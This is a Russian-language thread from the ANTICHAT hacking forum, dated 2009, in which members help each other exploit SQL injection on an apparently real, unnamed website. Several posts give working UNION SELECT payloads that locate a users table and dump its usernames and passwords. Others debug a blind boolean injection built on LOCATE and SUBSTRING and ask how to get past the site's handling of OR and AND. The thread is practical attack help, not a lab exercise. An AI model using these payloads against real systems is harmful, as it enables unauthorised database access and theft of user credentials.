HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 23.10.2009, 21:08
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

а просто from название_таблицы не судьба?
 
Ответить с цитированием

  #2  
Старый 23.10.2009, 21:22
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

тогда
Код:
16+union+select+1,2,3,table_schema,5,6,7,8,9,10,11,12+from+information_schema.tables+where+table_name=0x6f73725f7573657273+limit+0,1
то, что выше, выучить как отче наш, а то, что выведет на экран, надо будет добавить к имени таблице, через точку, т.к. это будет БД, в которой лежит интересующая нас таблица

Результаты будут, если у текущего юзера будут соотвествующие права на доступ к интересующей БД, т.е. к примеру на запрос выше выдаст:

1321412354123_forum

тогда следующий запрос такой:

+union+select+1,2,3,concat(username,0x3b,password) ,5,6,7,8,9,10,11,12+from+1321412354123_forum.osr_u sers

если опять выдаст ошибку, вывода только два:

1. Записей в osr_users просто нет (==0)
2. нет прав доступа

Тут можно проверить только пункт 1:

+union+select+1,2,3,count(*) ,5,6,7,8,9,10,11,12+from+1321412354123_forum.osr_u sers

если выведется "0" - то дальше думаю объяснять не надо, значит таблица пустая

Последний раз редактировалось Pashkela; 23.10.2009 в 21:30..
 
Ответить с цитированием

  #3  
Старый 23.10.2009, 21:50
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
Провел на форуме:
330834

Репутация: 90
По умолчанию

подскажите в чем проблема:
есть php скрипт который выполняет поиск в БД MySQL, содержимое запроса к БД примерно такое:
PHP код:
// так как самого кода скрипта нет, предполагаю, что код выглядит примерно так
$col1 $_POST['col1'];
$col2 $_POST['col2'];
mysql_query("SELECT * FROM `table` WHERE col1='".$col1."' AND col2='".$col2."' еще что-то"); 
вывода переменных нет.
я пытаюсь выполнить запрос к БД, что бы тот вернул мне результат true:
Код:
-1' OR LOCATE(1,(SUBSTRING(SELECT id FROM users WHERE id=1),1,1))#
В итоге запрос принимает форуме примерно такую:
Код:
SELECT * FROM `table` WHERE col1='-1' OR LOCATE(1,(SUBSTRING(SELECT id FROM users WHERE id=1),1,1))#' AND col2='1' еще что-то
Если я не ошибаюсь, то результат выполнения LOCATE должен вернуть true, т.к. id=1
Но в результате я получаю:
Код:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select id from users where id=1),1,1))#%' AND col2
Почему так?

Последний раз редактировалось Aртем; 23.10.2009 в 21:52..
 
Ответить с цитированием

  #4  
Старый 23.10.2009, 21:55
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Aртем:

1. Откуда ты узнал, что таблица users вообще существует?
2. Откуда ты узнал, что колонка id в таблице users вообще существует?
3. SUBSTRING подразумевает в конце всегда = чему-то, а у тебя просто запрос в скобочках.

Учи и, главное, понимай синтаксис MySql
 
Ответить с цитированием

  #5  
Старый 23.10.2009, 22:08
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
Провел на форуме:
330834

Репутация: 90
По умолчанию

Цитата:
Сообщение от Pashkela  
Aртем:

1. Откуда ты узнал, что таблица users вообще существует?
2. Откуда ты узнал, что колонка id в таблице users вообще существует?
3. SUBSTRING подразумевает в конце всегда = чему-то, а у тебя просто запрос в скобочках.

Учи и, главное, понимай синтаксис MySql
Во-первых, можно выполнить запрос
Код:
-1' UNION SELECT id FROM users#
пусть это и Blind SQL, но включен отчет об ошибках, а это обозначает, что включив логику, можно банальным подбором таблиц/колонок выяснить, что есть, чего нет. Не будь таблицы users и колонки id, PHP интерпретатор вежливо объяснил бы мне, что либо колонки, либо таблицы нет. Но тот в свою очередь умело обработал нужный мне запрос и выдал нормальную страницу, без ошибок.
Во-вторых SUBSTRING ничего не подразумевает, он просто напросто выводит указанное количество символов из указанной строки начиная с указанного символа по счету.

Очень охота все же услышать ответ на мой вопрос.

Последний раз редактировалось Aртем; 23.10.2009 в 22:10..
 
Ответить с цитированием

  #6  
Старый 23.10.2009, 22:31
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Aртем

Скобок мало, посмотри на ошибку она синтаксическая, у тебя подзапрос без скобок, вот и ошибка
Вот так нужно:
id=-1+or+LOCATE(1,(SUBSTRING((SELECT+id+FROM+users+WHE RE+id=1),1,1)))

Цитата:
Сообщение от Pashkela  
1. Откуда ты узнал, что таблица users вообще существует?
2. Откуда ты узнал, что колонка id в таблице users вообще существует?
3. SUBSTRING подразумевает в конце всегда = чему-то, а у тебя просто запрос в скобочках.

Учи и, главное, понимай синтаксис MySql
Последняя фраза в контексте поста просто потрясающая!

Паша, не пиши ты тут пожалуйста

Последний раз редактировалось jokester; 23.10.2009 в 22:34..
 
Ответить с цитированием

  #7  
Старый 23.10.2009, 22:50
Aртем
Познающий
Регистрация: 18.10.2009
Сообщений: 68
Провел на форуме:
330834

Репутация: 90
По умолчанию

jokester, спасибо, совсем не обратил внимание, что забыл подзапрос обрамить скобками.

Но возникла очередная проблема, видимо скрипт не хочет обрабатывать логические операторы OR и AND, т.к. после отправки запроса, браузер безнадежно ожидает ответа. А логика запроса по всей видимости не позволяет не использовать логический оператор И и ИЛИ. Как можно обойти их не прибегая к условиям?
 
Ответить с цитированием

  #8  
Старый 24.10.2009, 11:10
Shadrin
Постоянный
Регистрация: 20.08.2008
Сообщений: 348
Провел на форуме:
2200171

Репутация: 270
Отправить сообщение для Shadrin с помощью ICQ
По умолчанию

посоветуйте брут для 4 версии,вывод идет в названии загружаемого файла.
 
Ответить с цитированием

  #9  
Старый 24.10.2009, 12:18
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Цитата:
3. SUBSTRING подразумевает в конце всегда = чему-то, а у тебя просто запрос в скобочках.
0-o да ладно?
 
Ответить с цитированием

  #10  
Старый 24.10.2009, 13:06
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Aртем
Давай линк и конечную цель.
Я не понимаю почему именно такой способ перебора?
Если ошибки не отключены, то можно вообще сделать вывод в ошибке если версия базы подходящая, а у тебя больше похоже на изврат, ну или я не понимаю целей.
И опять-же с трудом представляю, как могут не работать and и or. Так не бывает, что-то ты не правильно делаешь и скрипт тут не причём.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ